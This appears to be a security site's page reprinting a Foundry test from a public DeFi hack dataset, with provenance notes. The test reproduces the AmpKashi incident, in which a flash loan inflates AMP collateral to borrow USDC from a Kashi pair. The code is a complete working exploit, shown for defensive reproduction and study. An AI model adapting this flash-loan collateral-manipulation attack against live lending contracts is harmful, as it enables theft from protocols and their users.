Skip to content
THREATWIRE

Public reproduction file

src/test/2025-04/AmpKashi_exp.sol

Public reproduction file for dataset entry AmpKashi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-04/AmpKashi_exp.sol266 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 572.31 USDC
8// Attacker : 0xda9d65086a986624cbf71989118938f0cf9a0c68
9// Attack Contract : 0x7132492af58ab4c8787b381da997dfaeb3ca5f85
10// Vulnerable Contract : 0x63d4026cbc902e538618b9aa51a4d05ef48ef5a4
11// Attack Tx : https://etherscan.io/tx/0x21c91633ca99b991b3ba20e02b12bbeef187fd3fea756cece4748c2ee0173db3
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x63d4026cbc902e538618b9aa51a4d05ef48ef5a4#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/773
18//
19// The attacker flash-borrowed WETH, bought AMP through three pools, deposited the
20// AMP into BentoBox, then added the shares as Kashi collateral. The inflated AMP
21// collateral let the Kashi pair issue a USDC borrow. The attacker withdrew the
22// borrowed USDC, swapped enough USDC back into WETH to repay Balancer, and kept
23// the remaining USDC.
25address constant ATTACKER = 0xdA9d65086A986624cbf71989118938f0CF9a0c68;
26address constant HISTORICAL_ATTACK_CONTRACT = 0x7132492aF58aB4c8787b381Da997dfaEb3cA5f85;
27address constant BALANCER_VAULT_ADDR = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
28address constant UNISWAP_V3_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
29address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
30address constant SUSHISWAP_ROUTER = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
31address constant BENTOBOX = 0xF5BCE5077908a1b7370B9ae04AdC565EBd643966;
32address constant KASHI_PAIR = 0x63d4026cBC902E538618b9Aa51A4D05Ef48ef5a4;
33address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
34address constant USDC_TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
35address constant AMP_TOKEN = 0xfF20817765cB7f73d4bde2e66e067E58D11095C2;
37uint256 constant FLASH_WETH_AMOUNT = 4.71 ether;
38uint256 constant V3_AMP_BUY_WETH = 0.3768 ether;
39uint256 constant UNISWAP_AMP_BUY_WETH = 1.6956 ether;
40uint256 constant SUSHISWAP_AMP_BUY_WETH = 2.6376 ether;
41uint256 constant BORROW_USDC_AMOUNT = 7_664_071_837;
43interface IBalancerFlashLoanRecipient {
44 function receiveFlashLoan(
45 IERC20[] memory tokens,
46 uint256[] memory amounts,
47 uint256[] memory feeAmounts,
48 bytes memory userData
49 ) external;
52interface IFlashLoanVault {
53 function flashLoan(
54 IBalancerFlashLoanRecipient recipient,
55 IERC20[] memory tokens,
56 uint256[] memory amounts,
57 bytes memory userData
58 ) external;
61interface ISwapRouter02 {
62 struct ExactInputSingleParams {
63 address tokenIn;
64 address tokenOut;
65 uint24 fee;
66 address recipient;
67 uint256 amountIn;
68 uint256 amountOutMinimum;
69 uint160 sqrtPriceLimitX96;
70 }
72 struct ExactOutputSingleParams {
73 address tokenIn;
74 address tokenOut;
75 uint24 fee;
76 address recipient;
77 uint256 amountOut;
78 uint256 amountInMaximum;
79 uint160 sqrtPriceLimitX96;
80 }
82 function exactInputSingle(
83 ExactInputSingleParams calldata params
84 ) external payable returns (uint256 amountOut);
86 function exactOutputSingle(
87 ExactOutputSingleParams calldata params
88 ) external payable returns (uint256 amountIn);
91interface IUniV2SwapRouter {
92 function swapExactTokensForTokens(
93 uint256 amountIn,
94 uint256 amountOutMin,
95 address[] memory path,
96 address to,
97 uint256 deadline
98 ) external returns (uint256[] memory amounts);
101interface IBentoBoxV1 {
102 function masterContractOf(
103 address clone
104 ) external view returns (address masterContract);
106 function setMasterContractApproval(
107 address user,
108 address masterContract,
109 bool approved,
110 uint8 v,
111 bytes32 r,
112 bytes32 s
113 ) external;
115 function deposit(
116 IERC20 token,
117 address from,
118 address to,
119 uint256 amount,
120 uint256 share
121 ) external payable returns (uint256 amountOut, uint256 shareOut);
123 function withdraw(
124 IERC20 token,
125 address from,
126 address to,
127 uint256 amount,
128 uint256 share
129 ) external returns (uint256 amountOut, uint256 shareOut);
132interface IKashiPair {
133 function accrue() external;
135 function addCollateral(address to, bool skim, uint256 share) external;
137 function borrow(address to, uint256 amount) external returns (uint256 part, uint256 share);
140contract ContractTest is BaseTestWithBalanceLog {
141 IERC20 private constant usdc = IERC20(USDC_TOKEN);
143 function setUp() public {
144 vm.createSelectFork("mainnet", 22_217_307);
146 fundingToken = USDC_TOKEN;
147 attacker = ATTACKER;
149 vm.label(ATTACKER, "Attacker");
150 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
151 vm.label(BALANCER_VAULT_ADDR, "Balancer Vault");
152 vm.label(BENTOBOX, "BentoBox");
153 vm.label(KASHI_PAIR, "Kashi AMP/USDC pair");
154 vm.label(AMP_TOKEN, "AMP");
155 vm.label(USDC_TOKEN, "USDC");
156 vm.label(WETH_TOKEN, "WETH");
157 }
159 function testExploit() public balanceLog {
160 uint256 attackerUsdcBefore = usdc.balanceOf(ATTACKER);
162 AmpKashiExploit exploit = new AmpKashiExploit();
163 exploit.attack();
165 uint256 attackerProfit = usdc.balanceOf(ATTACKER) - attackerUsdcBefore;
166 assertGt(attackerProfit, 572_000_000);
167 }
170contract AmpKashiExploit is IBalancerFlashLoanRecipient {
171 IERC20 private constant weth = IERC20(WETH_TOKEN);
172 IERC20 private constant usdc = IERC20(USDC_TOKEN);
173 IERC20 private constant amp = IERC20(AMP_TOKEN);
174 IBentoBoxV1 private constant bentoBox = IBentoBoxV1(BENTOBOX);
175 IKashiPair private constant kashiPair = IKashiPair(KASHI_PAIR);
176 ISwapRouter02 private constant swapRouter = ISwapRouter02(UNISWAP_V3_ROUTER);
178 function attack() external {
179 weth.approve(UNISWAP_V3_ROUTER, type(uint256).max);
180 weth.approve(UNISWAP_V2_ROUTER, type(uint256).max);
181 weth.approve(SUSHISWAP_ROUTER, type(uint256).max);
182 amp.approve(BENTOBOX, type(uint256).max);
183 usdc.approve(UNISWAP_V3_ROUTER, type(uint256).max);
185 IERC20[] memory tokens = new IERC20[](1);
186 tokens[0] = IERC20(WETH_TOKEN);
187 uint256[] memory amounts = new uint256[](1);
188 amounts[0] = FLASH_WETH_AMOUNT;
190 IFlashLoanVault(BALANCER_VAULT_ADDR).flashLoan(
191 IBalancerFlashLoanRecipient(address(this)),
192 tokens,
193 amounts,
194 abi.encode(KASHI_PAIR)
195 );
196 }
198 function receiveFlashLoan(
199 IERC20[] memory,
200 uint256[] memory,
201 uint256[] memory,
202 bytes memory
203 ) external override {
204 require(msg.sender == BALANCER_VAULT_ADDR, "vault");
206 _buyAmp();
208 kashiPair.accrue();
209 address masterContract = bentoBox.masterContractOf(KASHI_PAIR);
210 bentoBox.setMasterContractApproval(address(this), masterContract, true, 0, bytes32(0), bytes32(0));
212 (, uint256 ampShare) = bentoBox.deposit(amp, address(this), address(this), amp.balanceOf(address(this)), 0);
213 kashiPair.addCollateral(address(this), false, ampShare);
215 (, uint256 borrowShare) = kashiPair.borrow(address(this), BORROW_USDC_AMOUNT);
216 bentoBox.withdraw(usdc, address(this), address(this), 0, borrowShare);
218 swapRouter.exactOutputSingle(
219 ISwapRouter02.ExactOutputSingleParams({
220 tokenIn: USDC_TOKEN,
221 tokenOut: WETH_TOKEN,
222 fee: 500,
223 recipient: address(this),
224 amountOut: FLASH_WETH_AMOUNT,
225 amountInMaximum: usdc.balanceOf(address(this)),
226 sqrtPriceLimitX96: 0
227 })
228 );
230 usdc.transfer(ATTACKER, usdc.balanceOf(address(this)));
231 weth.transfer(BALANCER_VAULT_ADDR, FLASH_WETH_AMOUNT);
232 }
234 function _buyAmp() private {
235 swapRouter.exactInputSingle(
236 ISwapRouter02.ExactInputSingleParams({
237 tokenIn: WETH_TOKEN,
238 tokenOut: AMP_TOKEN,
239 fee: 10_000,
240 recipient: address(this),
241 amountIn: V3_AMP_BUY_WETH,
242 amountOutMinimum: 0,
243 sqrtPriceLimitX96: 0
244 })
245 );
247 address[] memory path = new address[](2);
248 path[0] = WETH_TOKEN;
249 path[1] = AMP_TOKEN;
251 IUniV2SwapRouter(UNISWAP_V2_ROUTER).swapExactTokensForTokens(
252 UNISWAP_AMP_BUY_WETH,
253 0,
254 path,
255 address(this),
256 type(uint256).max
257 );
258 IUniV2SwapRouter(SUSHISWAP_ROUTER).swapExactTokensForTokens(
259 SUSHISWAP_AMP_BUY_WETH,
260 0,
261 path,
262 address(this),
263 type(uint256).max
264 );
265 }

Analysis

Dataset entry

Public Foundry test for “AmpKashi” (2025-04-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xda9d65086a986624cbf71989118938f0cf9a0c68

  • Attack Contract

    0x7132492af58ab4c8787b381da997dfaeb3ca5f85

  • Vulnerable Contract

    0x63d4026cbc902e538618b9aa51a4d05ef48ef5a4

  • Attack Tx

    0x21c91633ca99b991b3ba20e02b12bbeef187fd3fea756cece4748c2ee0173db3

File record

Name
AmpKashi
Path
src/test/2025-04/AmpKashi_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
0619431bcafef11d1f3876f07add821c4beff6da
Language
Solidity
Size
267 lines
Date
2025-04-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-04/AmpKashi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0619431bcafef11d1f3876f07add821c4beff6da, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.